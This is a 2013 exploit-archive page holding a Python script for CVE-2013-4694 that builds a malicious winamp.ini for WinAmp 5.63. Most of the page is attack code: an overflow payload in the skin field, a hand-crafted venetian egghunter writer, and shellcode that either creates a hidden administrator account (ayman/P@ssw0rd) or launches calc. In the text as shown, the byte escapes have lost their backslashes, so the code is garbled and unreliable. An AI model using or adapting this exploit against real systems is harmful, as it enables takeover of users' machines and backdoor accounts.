Home / exploits WinAmp 5.63 winamp.ini Local Exploit
Posted on 27 August 2013
<pre># Exploit Title: winampevilskin.py # Date: 25 August 2013 # Exploit Author: Ayman Sagy <aymansagy@gmail.com> # Vendor Homepage: http://www.winamp.com/ # Version: 5.63 # Tested on: Windows XP Professional SP3 Version 2002 # CVE : 2013-4694 # # Ayman Sagy <aymansagy@gmail.com> August 2013 # # This is an exploit for Bug #1 described in http://www.exploit-db.com/exploits/26558/ # Credit for discovering the vulnerability goes to Julien Ahrens from Inshell Security # # The exploit will generate a winamp.ini file that will cause winamp to run the payload upon startup # # # I tried an alpha3 encoded egghunter but could not fit it in a single buffer and unfortunately it did not work, it wrote an invalid address on the stack then tried to access it # If you can make it work or find a solution for ASLR/DEP please contact me # # So I wrote from scratch a venetian shellcode that will write the egghunter onto the stack then executes it # The egg and shellcode can be found in plain ASCII in memory # # Tested against Windows XP Pro SP3 # Note: If you add winamp as an exception to DEP the return address becomes 0x003100F0 instead of 0x003000F0 # run with Python 2.7 import sys, getopt, os def usage(): print('winampevilskin.py by Ayman Sagy <aymansagy@gmail.com> ') print('Usage: python ' + sys.argv[0] + ' -p <payload>') print('Payload could be:') print(' [user] to create new admin account ayman/P@ssw0rd') print(' [calc] run calculator') print('for e.g.: python ' + sys.argv[0] + ' -p user') #appdata = os.environ['APPDATA'] # Windows add admin user: ayman P@ssw0rd scadduser = ( b"xbfxabxd0x9ax5bxdaxc7xd9x74x24xf4x5ax2bxc9" + "xb1x45x83xc2x04x31x7ax11x03x7ax11xe2x5ex2c" + "x72xd2xa0xcdx83x85x29x28xb2x97x4dx38xe7x27" + "x06x6cx04xc3x4ax85x9fxa1x42xaax28x0fxb4x85" + "xa9xa1x78x49x69xa3x04x90xbex03x35x5bxb3x42" + "x72x86x3cx16x2bxccxefx87x58x90x33xa9x8ex9e" + "x0cxd1xabx61xf8x6bxb2xb1x51xe7xfcx29xd9xaf" + "xdcx48x0exacx20x02x3bx07xd3x95xedx59x1cxa4" + "xd1x36x23x08xdcx47x64xafx3fx32x9exd3xc2x45" + "x65xa9x18xc3x7bx09xeax73x5fxabx3fxe5x14xa7" + "xf4x61x72xa4x0bxa5x09xd0x80x48xddx50xd2x6e" + "xf9x39x80x0fx58xe4x67x2fxbax40xd7x95xb1x63" + "x0cxafx98xe9xd3x3dxa7x57xd3x3dxa7xf7xbcx0c" + "x2cx98xbbx90xe7xdcx34xdbxa5x75xddx82x3cxc4" + "x80x34xebx0bxbdxb6x19xf4x3axa6x68xf1x07x60" + "x81x8bx18x05xa5x38x18x0cxc6xd3x82x81x6dx54" + "x2exfex42xc7x90x90xf9x73xf1x19x72x19x83xc1" + "x15x98x0ex63xbbx7ax81x23x30x08x56x94xc4x8a" + "xb8xfbx69x17xfdx23x4fxb1xddx4dxeaxc9x3dxfe" + "x9bx52x5fx92x04xe7xf0x1fxbax27x4ex84x57x41" + "x3ex2dxd4xe5xccxccx6ex69x43x7cxaex14xdaxef" + "xcfxb8x3cxdfx4ex01x79x1f" ) # http://shell-storm.org/shellcode/files/shellcode-739.php sccalc = (b"x31xC9"+ # xor ecx,ecx "x51"+ # push ecx "x68x63x61x6Cx63"+ # push 0x636c6163 "x54"+ # push dword ptr esp "xB8xC7x93xC2x77"+ # mov eax,0x77c293c7 "xFFxD0" ) if len(sys.argv) < 2: usage() exit(1) try: opts, args = getopt.getopt(sys.argv[1:],'p:') except getopt.GetoptError: usage() exit(1) for opt, arg in opts: if opt == '-p': if arg == 'user': shellcode = "aymnaymn" + "x90" + "x90" * 100 + scadduser + "x90" * 89 elif arg == "calc": shellcode = "aymnaymn" + b"x90" * 452 + b"x90" + sccalc + b"x90" * 23 else: print("Error: Invalid payload. ") usage() sys.exit() #print(str(len(shellcode))) egghunter = ("x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"+ "xefxb8x61x79x6dx6ex8bxfaxafx75xeaxafx75xe7xffxe7") sploit = ( # Unicode-friendly venetian egghunter writer # Setup Registers "x50x72x50"+ # push eax twice "x72" + # align "x59x72x5f"+ # pop ecx pop edi "x72" + "x05xc2x02x01"+ # 05 00020001 ADD EAX,1000200 "x72"+ "x2dxc2x01x01"+ # 2D 00010001 SUB EAX,1000100 # EAX is now EAX+100 "x72x48"+ # dec eax 4 times "x72x48"+ "x72x48"+ "x72x48x72"+ # Pave Ahead # write NOPs in locations that will stop later execution "xc3x86xc2x90"+ # C600 90 MOV BYTE PTR DS:[EAX],90 "x72x40x72"+ # 40 INC EAX "xc3x86xc2x90"+ "x72x40x72"+ "xc3x86xc2x90"+ "x72x40x72"+ "xc3x86xc2x90"+ "x72x40x72"+ "xc3x86xc2x90"+ "x72x40x72"+ "xc3x86xc2x90"+ "x72x40x72"+ "xc3x86xc2x90"+ "x72x40x72"+ "xc3x86xc2x90"+ "x72x40x72"+ "xc3x86xc2x90"+ "x72x40x72"+ "xc3x86xc2x90"+ "x72x40x72"+ "xc3x86xc2x90"+ "x72x40x72"+ "xc2x91" # 91 XCHG EAX,ECX "x72" + # align # Start writing egghunter shellcode, EGG = aymn "xc3x86x66"+ "x72x40x72"+ "xc3x86xc2x81"+ #81 "x72x40x72"+ "xc3x86xc3x8a"+ #ca "x72x40x72"+ "xc3x86xc3xbf"+ "x72x40x72"+ "xc3x86x0f"+ "x72x40x72"+ "xc3x86x42"+ # 42 "x72x40x72"+ "xc3x86x52"+ "x72x40x72"+ "xc3x86x6a"+ "x72x40x72"+ "xc3x86x02"+ "x72x40x72"+ "x34" * 4 + # Padding "xc3xb0x30"+ # 0x003000F0 CALL EAX winamp.exe WinXP Pro SP3 # Note: If you add winamp as an exception to DEP the return address becomes 0x003100F0 instead of 0x003000F0 "x72" "xc3x86x58"+ #58 "x72x40x72"+ "xc3x86xc3x8d"+ #cd "x72x40x72"+ "xc3x86x2e"+ #2e "x72x40x72"+ "xc3x86x3c"+ # 3c "x72x40x72"+ "xc3x86x05"+ # 5 "x72x40x72"+ "xc3x86x5a"+ "x72x40x72"+ "xc3x86x74"+ "x72x40x72"+ "xc3x86xc3xaf"+ # ef "x72x40x72"+ "xc3x86xc2xb8"+ "x72x40x72"+ "xc3x86x61"+ "x72x40x72"+ "xc3x86x79"+ "x72x40x72"+ "xc3x86x6d"+ "x72x40x72"+ "xc3x86x6e"+ "x72x40x72"+ "xc3x86xc2x8b"+ "x72x40x72"+ "xc3x86xc3xba"+ #fa "x72x40x72"+ "xc3x86xc2xaf"+ # af "x72x40x72"+ "xc3x86x75"+ #75 "x72x40x72"+ "xc3x86xc3xaa"+ #ea "x72x40x72"+ "xc3x86xc2xaf"+ # af "x72x40x72"+ "xc3x86x75"+ #75 "x72x40x72"+ "xc3x86xc3xa7"+ # e7 "x72x40x72"+ "xc3x86xc3xbf"+ # ff "x72x40x72"+ "xc3x86xc3xa7"+ # e7 "x72"+ "x57"+ # 57 PUSH EDI "x72"+ # align "xc3x83"+ # C3 RETN "x34" * 200 # Padding ) winamp = ("[Winamp] utf8=1 " + "skin=" + sploit + " " "[WinampReg] IsFirstInst=0 NeedReg=0 " + "[in_wm] numtypes=7 " + "type0=WMA description0=Windows Media Audio File (*.WMA) " + "protocol0=0 avtype0=0 " + "type1=WMV description1=Windows Media Video File (*.WMV) " + "protocol1=0 avtype1=1 type2=ASF " + "description2=Advanced Streaming Format (*.ASF) " + "protocol2=0 avtype2=1 type3=MMS:// " + "description3=Windows Media Stream protocol3=1 " + "avtype3=1 type4=MMSU:// " "description4=Windows Media Stream protocol4=1 " + "avtype4=1 type5=MMST:// " + "description5=Windows Media Stream protocol5=1 " + "avtype5=1 type5=" + "x90x90xe9x0f" + " description6=" + shellcode + " protocol6=0 avtype6=0 ") #f = open(appdata + "Winampwinamp.ini", "wb") or sys.exit("Error creating winamp.ini") f = open("winamp.ini", "wb") or sys.exit("Error creating winamp.ini") f.write(winamp) f.close() print("winamp.ini written, copy it into %APPDATA%\Winamp") </pre>
